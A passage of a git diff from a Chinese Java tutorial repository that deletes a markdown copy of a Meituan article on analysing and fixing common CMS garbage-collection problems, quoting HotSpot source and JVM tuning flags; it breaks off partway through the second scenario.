即时编译的原理以及编译优化的过程,包括: - -- JIT 的触发条件 -- JIT 的编译优化 -- JIT 的编译器 - -JIT 是 JVM 的重要组成部分,它可以根据程序运行的情况,对热点代码进行编译优化,从而提升程序的运行效率。 - -参考链接:[美团技术](https://tech.meituan.com/2020/10/22/java-jit-practice-in-meituan.html) - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/meituan-9-gc.md b/docs/src/jvm/meituan-9-gc.md deleted file mode 100644 index c8423cf8f1..0000000000 --- a/docs/src/jvm/meituan-9-gc.md +++ /dev/null @@ -1,1725 +0,0 @@ ---- -title: Java中9种常见的CMS GC问题分析与解决 -shortTitle: 9种常见的CMS GC问题分析与解决 -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java中9种常见的CMS GC问题分析与解决 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,cms ---- - - - **1.1 引言** - -自 Sun 发布 Java 语言以来,开始使用 GC 技术来进行内存自动管理,避免了手动管理带来的悬挂指针(Dangling Pointer)问题,很大程度上提升了开发效率,从此 GC 技术也一举成名。GC 有着非常悠久的历史,1960 年有着“Lisp 之父”和“人工智能之父”之称的 John McCarthy 就在论文中发布了 GC 算法,60 年以来, GC 技术的发展也突飞猛进,但不管是多么前沿的收集器也都是基于三种基本算法的组合或应用,也就是说 GC 要解决的根本问题这么多年一直都没有变过。笔者认为,在不太远的将来, GC 技术依然不会过时,比起日新月异的新技术,GC 这门古典技术更值得我们学习。 - -那么,GC 问题处理能力能不能系统性掌握?一些影响因素都是**互为因果**的问题该怎么分析?比如一个服务 RT 突然上涨,有 GC 耗时增大、线程 Block 增多、慢查询增多、CPU 负载高四个表象,到底哪个是诱因?如何判断 GC 有没有问题?使用 CMS 有哪些常见问题?如何判断根因是什么?如何解决或避免这些问题?阅读完本文,相信你将会对 CMS GC 的问题处理有一个系统性的认知,更能游刃有余地解决这些问题,下面就让我们开始吧!文中若有错误之处,还请大家不吝指正。 - -**1.2 概览** - -想要系统性地掌握 GC 问题处理,笔者这里给出一个学习路径,整体文章的框架也是按照这个结构展开,主要分四大步。 - -![](https://upload-images.jianshu.io/upload_images/1179389-22ed8367a864013b?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -* **建立知识体系:**从 JVM 的内存结构到垃圾收集的算法和收集器,学习 GC 的基础知识,掌握一些常用的 GC 问题分析工具。 - -* **确定评价指标:**了解基本 GC 的评价方法,摸清如何设定独立系统的指标,以及在业务场景中判断 GC 是否存在问题的手段。 - -* **场景调优实践:**运用掌握的知识和系统评价指标,分析与解决九种 CMS 中常见 GC 问题场景。 - -* **总结优化经验:**对整体过程做总结并提出笔者的几点建议,同时将总结到的经验完善到知识体系之中。 - -**2\. GC 基础** - -在正式开始前,先做些简要铺垫,介绍下 JVM 内存划分、收集算法、收集器等常用概念介绍,基础比较好的同学可以直接跳过这部分。 - -**2.1 基础概念** - -* **GC:**GC 本身有三种语义,下文需要根据具体场景带入不同的语义: - -* **Garbage Collection**:垃圾收集技术,名词。 - -* **Garbage Collector**:垃圾收集器,名词。 - -* **Garbage Collecting**:垃圾收集动作,动词。 - -* **Mutator:**生产垃圾的角色,也就是我们的应用程序,垃圾制造者,通过 Allocator 进行 allocate 和 free。 - -* **TLAB:**Thread Local Allocation Buffer 的简写,基于 CAS 的独享线程(Mutator Threads)可以优先将对象分配在 Eden 中的一块内存,因为是 Java 线程独享的内存区没有锁竞争,所以分配速度更快,每个 TLAB 都是一个线程独享的。 - -* **Card Table:**中文翻译为卡表,主要是用来标记卡页的状态,每个卡表项对应一个卡页。当卡页中一个对象引用有写操作时,写屏障将会标记对象所在的卡表状态改为 dirty,卡表的本质是用来解决跨代引用的问题。具体怎么解决的可以参考 StackOverflow 上的这个问题 [how-actually-card-table-and-writer-barrier-works](https://stackoverflow.com/questions/19154607/how-actually-card-table-and-writer-barrier-works),或者研读一下 cardTableRS.app 中的源码。 - -**2.2 JVM 内存划分** - -从 JCP(Java Community Process)的官网中可以看到,目前 Java 版本最新已经到了 Java 16,未来的 Java 17 以及现在的 Java 11 和 Java 8 是 LTS 版本,JVM 规范也在随着迭代在变更,由于本文主要讨论 CMS,此处还是放 Java 8 的内存结构。 - -![](https://upload-images.jianshu.io/upload_images/1179389-5379d37a996aabf9?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -GC 主要工作在 Heap 区和 MetaSpace 区(上图蓝色部分),在 Direct Memory 中,如果使用的是 DirectByteBuffer,那么在分配内存不够时则是 GC 通过 `Cleaner#clean` 间接管理。 - -任何自动内存管理系统都会面临的步骤:为新对象分配空间,然后收集垃圾对象空间,下面我们就展开介绍一下这些基础知识。 - -**2.3 分配对象** - -Java 中对象地址操作主要使用 Unsafe 调用了 C 的 allocate 和 free 两个方法,分配方法有两种: - -* **空闲链表(free list):**通过额外的存储记录空闲的地址,将随机 IO 变为顺序 IO,但带来了额外的空间消耗。 - -* **碰撞指针(bump  pointer):**通过一个指针作为分界点,需要分配内存时,仅需把指针往空闲的一端移动与对象大小相等的距离,分配效率较高,但使用场景有限。 - -**2.4 收集对象** - -**2.4.1 识别垃圾** - -* **引用计数法(Reference Counting):**对每个对象的引用进行计数,每当有一个地方引用它时计数器 +1、引用失效则 -1,引用的计数放到对象头中,大于 0 的对象被认为是存活对象。虽然循环引用的问题可通过 Recycler 算法解决,但是在多线程环境下,引用计数变更也要进行昂贵的同步操作,性能较低,早期的编程语言会采用此算法。 - -* **可达性分析,又称引用链法(Tracing GC):**从 GC Root 开始进行对象搜索,可以被搜索到的对象即为可达对象,此时还不足以判断对象是否存活/死亡,需要经过多次标记才能更加准确地确定,整个连通图之外的对象便可以作为垃圾被回收掉。目前 Java 中主流的虚拟机均采用此算法。 - -备注:引用计数法是可以处理循环引用问题的,下次面试时不要再这么说啦~ ~ - -**2.4.2 收集算法** - -自从有自动内存管理出现之时就有的一些收集算法,不同的收集器也是在不同场景下进行组合。 - -* **Mark-Sweep(标记-清除):**回收过程主要分为两个阶段,第一阶段为追踪(Tracing)阶段,即从 GC Root 开始遍历对象图,并标记(Mark)所遇到的每个对象,第二阶段为清除(Sweep)阶段,即回收器检查堆中每一个对象,并将所有未被标记的对象进行回收,整个过程不会发生对象移动。整个算法在不同的实现中会使用三色抽象(Tricolour Abstraction)、位图标记(BitMap)等技术来提高算法的效率,存活对象较多时较高效。 - -* **Mark-Compact (标记-整理):**这个算法的主要目的就是解决在非移动式回收器中都会存在的碎片化问题,也分为两个阶段,第一阶段与 Mark-Sweep 类似,第二阶段则会对存活对象按照整理顺序(Compaction Order)进行整理。主要实现有双指针(Two-Finger)回收算法、滑动回收(Lisp2)算法和引线整理(Threaded Compaction)算法等。 - -* **Copying(复制):**将空间分为两个大小相同的 From 和 To 两个半区,同一时间只会使用其中一个,每次进行回收时将一个半区的存活对象通过复制的方式转移到另一个半区。有递归(Robert R. Fenichel 和 Jerome C. Yochelson提出)和迭代(Cheney 提出)算法,以及解决了前两者递归栈、缓存行等问题的近似优先搜索算法。复制算法可以通过碰撞指针的方式进行快速地分配内存,但是也存在着空间利用率不高的缺点,另外就是存活对象比较大时复制的成本比较高。 - -三种算法在是否移动对象、空间和时间方面的一些对比,假设存活对象数量为 *L*、堆空间大小为 *H*,则: - -![](https://upload-images.jianshu.io/upload_images/1179389-03f497067b9ff350?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -把 mark、sweep、compaction、copying 这几种动作的耗时放在一起看,大致有这样的关系: - -![](https://upload-images.jianshu.io/upload_images/1179389-a1c69e01cb02c636?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -虽然 compaction 与 copying 都涉及移动对象,但取决于具体算法,compaction 可能要先计算一次对象的目标地址,然后修正指针,最后再移动对象。copying 则可以把这几件事情合为一体来做,所以可以快一些。另外,还需要留意 GC 带来的开销不能只看 Collector 的耗时,还得看 Allocator 。如果能保证内存没碎片,分配就可以用 pointer bumping 方式,只需要挪一个指针就完成了分配,非常快。而如果内存有碎片就得用 freelist 之类的方式管理,分配速度通常会慢一些。 - -**2.5 收集器** - -目前在 Hotspot VM 中主要有分代收集和分区收集两大类,具体可以看下面的这个图,不过未来会逐渐向分区收集发展。在美团内部,有部分业务尝试用了 ZGC(感兴趣的同学可以学习下这篇文章《[新一代垃圾回收器ZGC的探索与实践](http://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&mid=2651752559&idx=1&sn=c720b67e93db1885d72dab8799bba78c&chksm=bd1251228a65d834db610deb2ce55003e0fc1f90793e84873096db19027936f6add301242545&scene=21#wechat_redirect)》),其余基本都停留在 CMS 和 G1 上。另外在 JDK11 后提供了一个不执行任何垃圾回收动作的回收器 Epsilon(A No-Op Garbage Collector)用作性能分析。另外一个就是 Azul 的 Zing JVM,其 C4(Concurrent Continuously Compacting Collector)收集器也在业内有一定的影响力。 - -![](https://upload-images.jianshu.io/upload_images/1179389-6c3339b84c2861cf?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -备注:值得一提的是,早些年国内 GC 技术的布道者 RednaxelaFX (江湖人称 R 大)曾就职于 Azul,本文的一部分材料也参考了他的一些文章。 - -**2.5.1 分代收集器** - -* **ParNew:**一款多线程的收集器,采用复制算法,主要工作在 Young 区,可以通过 `-XX:ParallelGCThreads` 参数来控制收集的线程数,整个过程都是 STW 的,常与 CMS 组合使用。 - -* **CMS:**以获取最短回收停顿时间为目标,采用“标记-清除”算法,分 4 大步进行垃圾收集,其中初始标记和重新标记会 STW ,多数应用于互联网站或者 B/S 系统的服务器端上,JDK9 被标记弃用,JDK14 被删除,详情可见 [JEP 363](https://openjdk.java.net/jeps/363)。 - -#### 2.5.2 分区收集器 - -* **G1:**一种服务器端的垃圾收集器,应用在多处理器和大容量内存环境中,在实现高吞吐量的同时,尽可能地满足垃圾收集暂停时间的要求。 - -* **ZGC:**JDK11 中推出的一款低延迟垃圾回收器,适用于大内存低延迟服务的内存管理和回收,SPECjbb 2015 基准测试,在 128G 的大堆下,最大停顿时间才 1.68 ms,停顿时间远胜于 G1 和 CMS。 - -* **Shenandoah:**由 Red Hat 的一个团队负责开发,与 G1 类似,基于 Region 设计的垃圾收集器,但不需要 Remember Set 或者 Card Table 来记录跨 Region 引用,停顿时间和堆的大小没有任何关系。停顿时间与 ZGC 接近,下图为与 CMS 和 G1 等收集器的 benchmark。 - -![](https://upload-images.jianshu.io/upload_images/1179389-238d04be0f931ddc?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**2.5.3 常用收集器** - -目前使用最多的是 CMS 和 G1 收集器,二者都有分代的概念,主要内存结构如下: - -![](https://upload-images.jianshu.io/upload_images/1179389-8082240b37153163.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**2.5.4 其他收集器** - -以上仅列出常见收集器,除此之外还有很多,如 Metronome、Stopless、Staccato、Chicken、Clover 等实时回收器,Sapphire、Compressor、Pauseless 等并发复制/整理回收器,Doligez-Leroy-Conthier 等标记整理回收器,由于篇幅原因,不在此一一介绍。 - -**2.6 常用工具** - -工欲善其事,必先利其器,此处列出一些笔者常用的工具,具体情况大家可以自由选择,本文的问题都是使用这些工具来定位和分析的。 - -**2.6.1 命令行终端** - -* **标准终端类**:jps、jinfo、jstat、jstack、jmap - -* **功能整合类**:jcmd、vjtools、arthas、greys - -**2.6.2 可视化界面** - -* **简易**:JConsole、JVisualvm、HA、GCHisto、GCViewer - -* **进阶**:MAT、JProfiler - -命令行推荐 arthas ,可视化界面推荐 JProfiler,此外还有一些在线的平台 [gceasy](https://gceasy.io/)、[heaphero](https://heaphero.io/)、[fastthread](https://fastthread.io/) ,美团内部的 Scalpel(一款自研的 JVM 问题诊断工具,暂时未开源)也比较好用。 - -**3\. GC 问题判断** - -在做 GC 问题排查和优化之前,我们需要先来明确下到底是不是 GC 直接导致的问题,或者应用代码导致的 GC 异常,最终出现问题。 - -**3.1 判断 GC 有没有问题?** - -**3.1.1 设定评价标准** - -评判 GC 的两个核心指标: - -* **延迟(Latency):**也可以理解为最大停顿时间,即垃圾收集过程中一次 STW 的最长时间,越短越好,一定程度上可以接受频次的增大,GC 技术的主要发展方向。 - -* **吞吐量(Throughput):**应用系统的生命周期内,由于 GC 线程会占用 Mutator 当前可用的 CPU 时钟周期,吞吐量即为 Mutator 有效花费的时间占系统总运行时间的百分比,例如系统运行了 100 min,GC 耗时 1 min,则系统吞吐量为 99%,吞吐量优先的收集器可以接受较长的停顿。 - -目前各大互联网公司的系统基本都更追求低延时,避免一次 GC 停顿的时间过长对用户体验造成损失,衡量指标需要结合一下应用服务的 SLA,主要如下两点来判断: - -![](https://upload-images.jianshu.io/upload_images/1179389-0116d4ae68567826?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -简而言之,即为**一次停顿的时间不超过应用服务的 TP9999,GC 的吞吐量不小于 99.99%**。举个例子,假设某个服务 A 的 TP9999 为 80 ms,平均 GC 停顿为 30 ms,那么该服务的最大停顿时间最好不要超过 80 ms,GC 频次控制在 5 min 以上一次。如果满足不了,那就需要调优或者通过更多资源来进行并联冗余。(大家可以先停下来,看看监控平台上面的 gc.meantime 分钟级别指标,如果超过了 6 ms 那单机 GC 吞吐量就达不到 4 个 9 了。) - -备注:除了这两个指标之外还有 Footprint(资源量大小测量)、反应速度等指标,互联网这种实时系统追求低延迟,而很多嵌入式系统则追求 Footprint。 - -**3.1.2 读懂 GC Cause** - -拿到 GC 日志,我们就可以简单分析 GC 情况了,通过一些工具,我们可以比较直观地看到 Cause 的分布情况,如下图就是使用 gceasy 绘制的图表: - -![](https://upload-images.jianshu.io/upload_images/1179389-955a1b25ed4cf223?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -如上图所示,我们很清晰的就能知道是什么原因引起的 GC,以及每次的时间花费情况,但是要分析 GC 的问题,先要读懂 GC Cause,即 JVM 什么样的条件下选择进行 GC 操作,具体 Cause 的分类可以看一下 Hotspot 源码:src/share/vm/gc/shared/gcCause.hpp 和 src/share/vm/gc/shared/gcCause.cpp 中。 - -``` -const char* GCCause::to_string(GCCause::Cause cause) { - switch (cause) { - case _java_lang_system_gc: - return "System.gc()"; - - case _full_gc_alot: - return "FullGCAlot"; - - case _scavenge_alot: - return "ScavengeAlot"; - - case _allocation_profiler: - return "Allocation Profiler"; - - case _jvmti_force_gc: - return "JvmtiEnv ForceGarbageCollection"; - - case _gc_locker: - return "GCLocker Initiated GC"; - - case _heap_inspection: - return "Heap Inspection Initiated GC"; - - case _heap_dump: - return "Heap Dump Initiated GC"; - - case _wb_young_gc: - return "WhiteBox Initiated Young GC"; - - case _wb_conc_mark: - return "WhiteBox Initiated Concurrent Mark"; - - case _wb_full_gc: - return "WhiteBox Initiated Full GC"; - - case _no_gc: - return "No GC"; - - case _allocation_failure: - return "Allocation Failure"; - - case _tenured_generation_full: - return "Tenured Generation Full"; - - case _metadata_GC_threshold: - return "Metadata GC Threshold"; - - case _metadata_GC_clear_soft_refs: - return "Metadata GC Clear Soft References"; - - case _cms_generation_full: - return "CMS Generation Full"; - - case _cms_initial_mark: - return "CMS Initial Mark"; - - case _cms_final_remark: - return "CMS Final Remark"; - - case _cms_concurrent_mark: - return "CMS Concurrent Mark"; - - case _old_generation_expanded_on_last_scavenge: - return "Old Generation Expanded On Last Scavenge"; - - case _old_generation_too_full_to_scavenge: - return "Old Generation Too Full To Scavenge"; - - case _adaptive_size_policy: - return "Ergonomics"; - - case _g1_inc_collection_pause: - return "G1 Evacuation Pause"; - - case _g1_humongous_allocation: - return "G1 Humongous Allocation"; - - case _dcmd_gc_run: - return "Diagnostic Command"; - - case _last_gc_cause: - return "ILLEGAL VALUE - last gc cause - ILLEGAL VALUE"; - - default: - return "unknown GCCause"; - } - ShouldNotReachHere(); -} -``` - -重点需要关注的几个GC Cause: - -* **System.gc():**手动触发GC操作。 - -* **CMS:**CMS GC 在执行过程中的一些动作,重点关注 CMS Initial Mark 和 CMS Final Remark 两个 STW 阶段。 - -* **Promotion Failure:**Old 区没有足够的空间分配给 Young 区晋升的对象(即使总可用内存足够大)。 - -* **Concurrent Mode Failure:**CMS GC 运行期间,Old 区预留的空间不足以分配给新的对象,此时收集器会发生退化,严重影响 GC 性能,下面的一个案例即为这种场景。 - -* **GCLocker Initiated GC:**如果线程执行在 JNI 临界区时,刚好需要进行 GC,此时 GC Locker 将会阻止 GC 的发生,同时阻止其他线程进入 JNI 临界区,直到最后一个线程退出临界区时触发一次 GC。 - -什么时机使用这些 Cause 触发回收,大家可以看一下 CMS 的代码,这里就不讨论了,具体在 /src/hotspot/share/gc/cms/concurrentMarkSweepGeneration.cpp 中。 - -shouldConcurrentCollect - -``` -bool CMSCollector::shouldConcurrentCollect() { - LogTarget(Trace, gc) log; - - if (_full_gc_requested) { - log.print("CMSCollector: collect because of explicit gc request (or GCLocker)"); - return true; - } - - FreelistLocker x(this); - // ------------------------------------------------------------------ - // Print out lots of information which affects the initiation of - // a collection. - if (log.is_enabled() && stats().valid()) { - log.print("CMSCollector shouldConcurrentCollect: "); - - LogStream out(log); - stats().print_on(&out); - - log.print("time_until_cms_gen_full %3.7f", stats().time_until_cms_gen_full()); - log.print("free=" SIZE_FORMAT, _cmsGen->free()); - log.print("contiguous_available=" SIZE_FORMAT, _cmsGen->contiguous_available()); - log.print("promotion_rate=%g", stats().promotion_rate()); - log.print("cms_allocation_rate=%g", stats().cms_allocation_rate()); - log.print("occupancy=%3.7f", _cmsGen->occupancy()); - log.print("initiatingOccupancy=%3.7f", _cmsGen->initiating_occupancy()); - log.print("cms_time_since_begin=%3.7f", stats().cms_time_since_begin()); - log.print("cms_time_since_end=%3.7f", stats().cms_time_since_end()); - log.print("metadata initialized %d", MetaspaceGC::should_concurrent_collect()); - } - // ------------------------------------------------------------------ - - // If the estimated time to complete a cms collection (cms_duration()) - // is less than the estimated time remaining until the cms generation - // is full, start a collection. - if (!UseCMSInitiatingOccupancyOnly) { - if (stats().valid()) { - if (stats().time_until_cms_start() == 0.0) { - return true; - } - } else { - - if (_cmsGen->occupancy() >= _bootstrap_occupancy) { - log.print(" CMSCollector: collect for bootstrapping statistics: occupancy = %f, boot occupancy = %f", - _cmsGen->occupancy(), _bootstrap_occupancy); - return true; - } - } - } - if (_cmsGen->should_concurrent_collect()) { - log.print("CMS old gen initiated"); - return true; - } - - CMSHeap* heap = CMSHeap::heap(); - if (heap->incremental_collection_will_fail(true /* consult_young */)) { - log.print("CMSCollector: collect because incremental collection will fail "); - return true; - } - - if (MetaspaceGC::should_concurrent_collect()) { - log.print("CMSCollector: collect for metadata allocation "); - return true; - } - - // CMSTriggerInterval starts a CMS cycle if enough time has passed. - if (CMSTriggerInterval >= 0) { - if (CMSTriggerInterval == 0) { - // Trigger always - return true; - } - - // Check the CMS time since begin (we do not check the stats validity - // as we want to be able to trigger the first CMS cycle as well) - if (stats().cms_time_since_begin() >= (CMSTriggerInterval / ((double) MILLIUNITS))) { - if (stats().valid()) { - log.print("CMSCollector: collect because of trigger interval (time since last begin %3.7f secs)", - stats().cms_time_since_begin()); - } else { - log.print("CMSCollector: collect because of trigger interval (first collection)"); - } - return true; - } - } - - return false; -} -``` - -**3.2 判断是不是 GC 引发的问题?** - -到底是结果(现象)还是原因,在一次 GC 问题处理的过程中,如何判断是 GC 导致的故障,还是系统本身引发 GC 问题。这里继续拿在本文开头提到的一个 Case:“GC 耗时增大、线程 Block 增多、慢查询增多、CPU 负载高等四个表象,如何判断哪个是根因?”,笔者这里根据自己的经验大致整理了四种判断方法供参考: - -* **时序分析:**先发生的事件是根因的概率更大,通过监控手段分析各个指标的异常时间点,还原事件时间线,如先观察到 CPU 负载高(要有足够的时间 Gap),那么整个问题影响链就可能是:CPU 负载高 -> 慢查询增多 -> GC 耗时增大 -> 线程Block增多 -> RT 上涨。 - -* **概率分析:**使用统计概率学,结合历史问题的经验进行推断,由近到远按类型分析,如过往慢查的问题比较多,那么整个问题影响链就可能是:慢查询增多 -> GC 耗时增大 ->  CPU 负载高   -> 线程 Block 增多 -> RT上涨。 - -* **实验分析:**通过故障演练等方式对问题现场进行模拟,触发其中部分条件(一个或多个),观察是否会发生问题,如只触发线程 Block 就会发生问题,那么整个问题影响链就可能是:线程Block增多  -> CPU 负载高  -> 慢查询增多  -> GC 耗时增大 ->  RT 上涨。 - -* **反证分析:**对其中某一表象进行反证分析,即判断表象的发不发生跟结果是否有相关性,例如我们从整个集群的角度观察到某些节点慢查和 CPU 都正常,但也出了问题,那么整个问题影响链就可能是:GC 耗时增大 -> 线程 Block 增多 ->  RT 上涨。 - -不同的根因,后续的分析方法是完全不同的。如果是 CPU 负载高那可能需要用火焰图看下热点、如果是慢查询增多那可能需要看下 DB 情况、如果是线程 Block 引起那可能需要看下锁竞争的情况,最后如果各个表象证明都没有问题,那可能 GC 确实存在问题,可以继续分析 GC 问题了。 - -**3.3 问题分类导读** - -**3.3.1 Mutator 类型** - -Mutator 的类型根据对象存活时间比例图来看主要分为两种,在弱分代假说中也提到类似的说法,如下图所示 “Survival Time” 表示对象存活时间,“Rate” 表示对象分配比例: - -* **IO 交互型:**互联网上目前大部分的服务都属于该类型,例如分布式 RPC、MQ、HTTP 网关服务等,对内存要求并不大,大部分对象在 TP9999 的时间内都会死亡, Young 区越大越好。 - -* **MEM 计算型:**主要是分布式数据计算 Hadoop,分布式存储 HBase、Cassandra,自建的分布式缓存等,对内存要求高,对象存活时间长,Old 区越大越好。 - -当然,除了二者之外还有介于两者之间的场景,本篇文章主要讨论第一种情况。对象 Survival Time 分布图,对我们设置 GC 参数有着非常重要的指导意义,如下图就可以简单推算分代的边界。 - -![](https://upload-images.jianshu.io/upload_images/1179389-60042d509303a8da.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**3.3.2 GC 问题分类** - -笔者选取了九种不同类型的 GC 问题,覆盖了大部分场景,如果有更好的场景,欢迎在评论区给出。 - -* **Unexpected GC:**意外发生的 GC,实际上不需要发生,我们可以通过一些手段去避免。 - -* **Space Shock:**空间震荡问题,参见“场景一:动态扩容引起的空间震荡”。 - -* **Explicit GC:**显示执行 GC 问题,参见“场景二:显式 GC 的去与留”。 - -* **Partial GC:**部分收集操作的 GC,只对某些分代/分区进行回收。 - -* **CMS:**Old GC 频繁,参见“场景五:CMS Old GC 频繁”。 - -* **CMS:**Old GC 不频繁但单次耗时大,参见“场景六:单次 CMS Old GC 耗时长”。 - -* **ParNew:**Young GC 频繁,参见“场景四:过早晋升”。 - -* **Young GC:**分代收集里面的 Young 区收集动作,也可以叫做 Minor GC。 - -* **Old GC:**分代收集里面的 Old 区收集动作,也可以叫做 Major GC,有些也会叫做 Full GC,但其实这种叫法是不规范的,在 CMS 发生 Foreground GC 时才是 Full GC,CMSScavengeBeforeRemark 参数也只是在 Remark 前触发一次Young GC。 - -* **Full GC:**全量收集的 GC,对整个堆进行回收,STW 时间会比较长,一旦发生,影响较大,也可以叫做 Major GC,参见“场景七:内存碎片&收集器退化”。 - -* **MetaSpace:**元空间回收引发问题,参见“场景三:MetaSpace 区 OOM”。 - -* **Direct Memory:**直接内存(也可以称作为堆外内存)回收引发问题,参见“场景八:堆外内存 OOM”。 - -* **JNI:**本地 Native 方法引发问题,参见“场景九:JNI 引发的 GC 问题”。 - -**3.3.3 排查难度** - -一个问题的**解决难度跟它的常见程度成反比**,大部分我们都可以通过各种搜索引擎找到类似的问题,然后用同样的手段尝试去解决。当一个问题在各种网站上都找不到相似的问题时,那么可能会有两种情况,一种这不是一个问题,另一种就是遇到一个隐藏比较深的问题,遇到这种问题可能就要深入到源码级别去调试了。以下 GC 问题场景,排查难度从上到下依次递增。 - -**4\. 常见场景分析与解决** - -**4.1 场景一:动态扩容引起的空间震荡** - -**4.1.1 现象** - -服务**刚刚启动时 GC 次数较多**,最大空间剩余很多但是依然发生 GC,这种情况我们可以通过观察 GC 日志或者通过监控工具来观察堆的空间变化情况即可。GC Cause 一般为 Allocation Failure,且在 GC 日志中会观察到经历一次 GC ,堆内各个空间的大小会被调整,如下图所示: - -![](https://upload-images.jianshu.io/upload_images/1179389-67e901a7c5e7e30f?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**4.1.2 原因** - -在 JVM 的参数中 `-Xms` 和 `-Xmx` 设置的不一致,在初始化时只会初始 `-Xms` 大小的空间存储信息,每当空间不够用时再向操作系统申请,这样的话必然要进行一次 GC。具体是通过 `ConcurrentMarkSweepGeneration::compute_new_size()` 方法计算新的空间大小: - -ConcurrentMarkSweepGeneration::compute_new_size() - -``` -void ConcurrentMarkSweepGeneration::compute_new_size() { - assert_locked_or_safepoint(Heap_lock); - - // If incremental collection failed, we just want to expand - // to the limit. - if (incremental_collection_failed()) { - clear_incremental_collection_failed(); - grow_to_reserved(); - return; - } - - // The heap has been compacted but not reset yet. - // Any metric such as free() or used() will be incorrect. - - CardGeneration::compute_new_size(); - - // Reset again after a possible resizing - if (did_compact()) { - cmsSpace()->reset_after_compaction(); - } -} - -``` - -另外,如果空间剩余很多时也会进行缩容操作,JVM 通过 `-XX:MinHeapFreeRatio` 和 `-XX:MaxHeapFreeRatio` 来控制扩容和缩容的比例,调节这两个值也可以控制伸缩的时机,例如扩容便是使用  `GenCollectedHeap::expand_heap_and_allocate()` 来完成的,代码如下: - -GenCollectedHeap::expand_heap_and_allocate() - -``` -HeapWord* GenCollectedHeap::expand_heap_and_allocate(size_t size, bool is_tlab) { - HeapWord* result = NULL; - if (_old_gen->should_allocate(size, is_tlab)) { - result = _old_gen->expand_and_allocate(size, is_tlab); - } - if (result == NULL) { - if (_young_gen->should_allocate(size, is_tlab)) { - result = _young_gen->expand_and_allocate(size, is_tlab); - } - } - assert(result == NULL || is_in_reserved(result), "result not in heap"); - return result; -} - -``` - -整个伸缩的模型理解可以看这个图,当 committed 的空间大小超过了低水位/高水位的大小,capacity 也会随之调整: - -![](https://upload-images.jianshu.io/upload_images/1179389-3aeae4ad893ad80e?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**4.1.3 策略** - -**定位**:观察 CMS GC 触发时间点 Old/MetaSpace 区的 committed 占比是不是一个固定的值,或者像上文提到的观察总的内存使用率也可以。 - -**解决**:尽量**将成对出现的空间大小配置参数设置成固定的**,如 `-Xms` 和 `-Xmx`,`-XX:MaxNewSize` 和 `-XX:NewSize`,`-XX:MetaSpaceSize` 和 `-XX:MaxMetaSpaceSize` 等。 - -**4.1.4 小结** - -一般来说,我们需要保证 Java 虚拟机的堆是稳定的,确保 `-Xms` 和 `-Xmx` 设置的是一个值(即初始值和最大值一致),获得一个稳定的堆,同理在 MetaSpace 区也有类似的问题。不过在不追求停顿时间的情况下震荡的空间也是有利的,可以动态地伸缩以节省空间,例如作为富客户端的 Java 应用。 - -这个问题虽然初级,但是发生的概率还真不小,尤其是在一些规范不太健全的情况下。 - -**4.2 场景二:显式 GC 的去与留** - -**4.2.1 现象** - -除了扩容缩容会触发 CMS GC 之外,还有 Old 区达到回收阈值、MetaSpace 空间不足、Young 区晋升失败、大对象担保失败等几种触发条件,如果这些情况都没有发生却触发了 GC ?这种情况有可能是代码中手动调用了 System.gc 方法,此时可以找到 GC 日志中的 GC Cause 确认下。那么这种 GC 到底有没有问题,翻看网上的一些资料,有人说可以添加 `-XX:+DisableExplicitGC` 参数来避免这种 GC,也有人说不能加这个参数,加了就会影响 Native Memory 的回收。先说结论,笔者这里建议保留 System.gc,那为什么要保留?我们一起来分析下。 - -**4.2.2 原因** - -找到 System.gc 在 Hotspot 中的源码,可以发现增加 `-XX:+DisableExplicitGC` 参数后,这个方法变成了一个空方法,如果没有加的话便会调用 `Universe::heap()::collect` 方法,继续跟进到这个方法中,发现 System.gc 会引发一次 STW 的 Full GC,对整个堆做收集。 - -DisableExplicitGC - -``` -JVM_ENTRY_NO_ENV(void, JVM_GC(void)) - JVMWrapper("JVM_GC"); - if (!DisableExplicitGC) { - Universe::heap()->collect(GCCause::_java_lang_system_gc); - } -JVM_END -``` - -GenCollectedHeap::collect() - -``` -void GenCollectedHeap::collect(GCCause::Cause cause) { - if (cause == GCCause::_wb_young_gc) { - // Young collection for the WhiteBox API. - collect(cause, YoungGen); - } else { -#ifdef ASSERT - if (cause == GCCause::_scavenge_alot) { - // Young collection only. - collect(cause, YoungGen); - } else { - // Stop-the-world full collection. - collect(cause, OldGen); - } -#else - // Stop-the-world full collection. - collect(cause, OldGen); -#endif - } -} -``` - -**保留 System.gc** - -此处补充一个知识点,**CMS GC 共分为 Background 和 Foreground 两种模式**,前者就是我们常规理解中的并发收集,可以不影响正常的业务线程运行,但 Foreground Collector 却有很大的差异,他会进行一次压缩式 GC。此压缩式 GC 使用的是跟 Serial Old GC 一样的 LISP2 算法,其使用 Mark-Compact 来做 Full GC,一般称之为 MSC(Mark-Sweep-Compact),它收集的范围是 Java 堆的 Young 区和 Old 区以及 MetaSpace。由上面的算法章节中我们知道 compact 的代价是巨大的,那么使用 Foreground Collector 时将会带来非常长的 STW。如果在应用程序中 System.gc 被频繁调用,那就非常危险了。 - -**去掉 System.gc** - 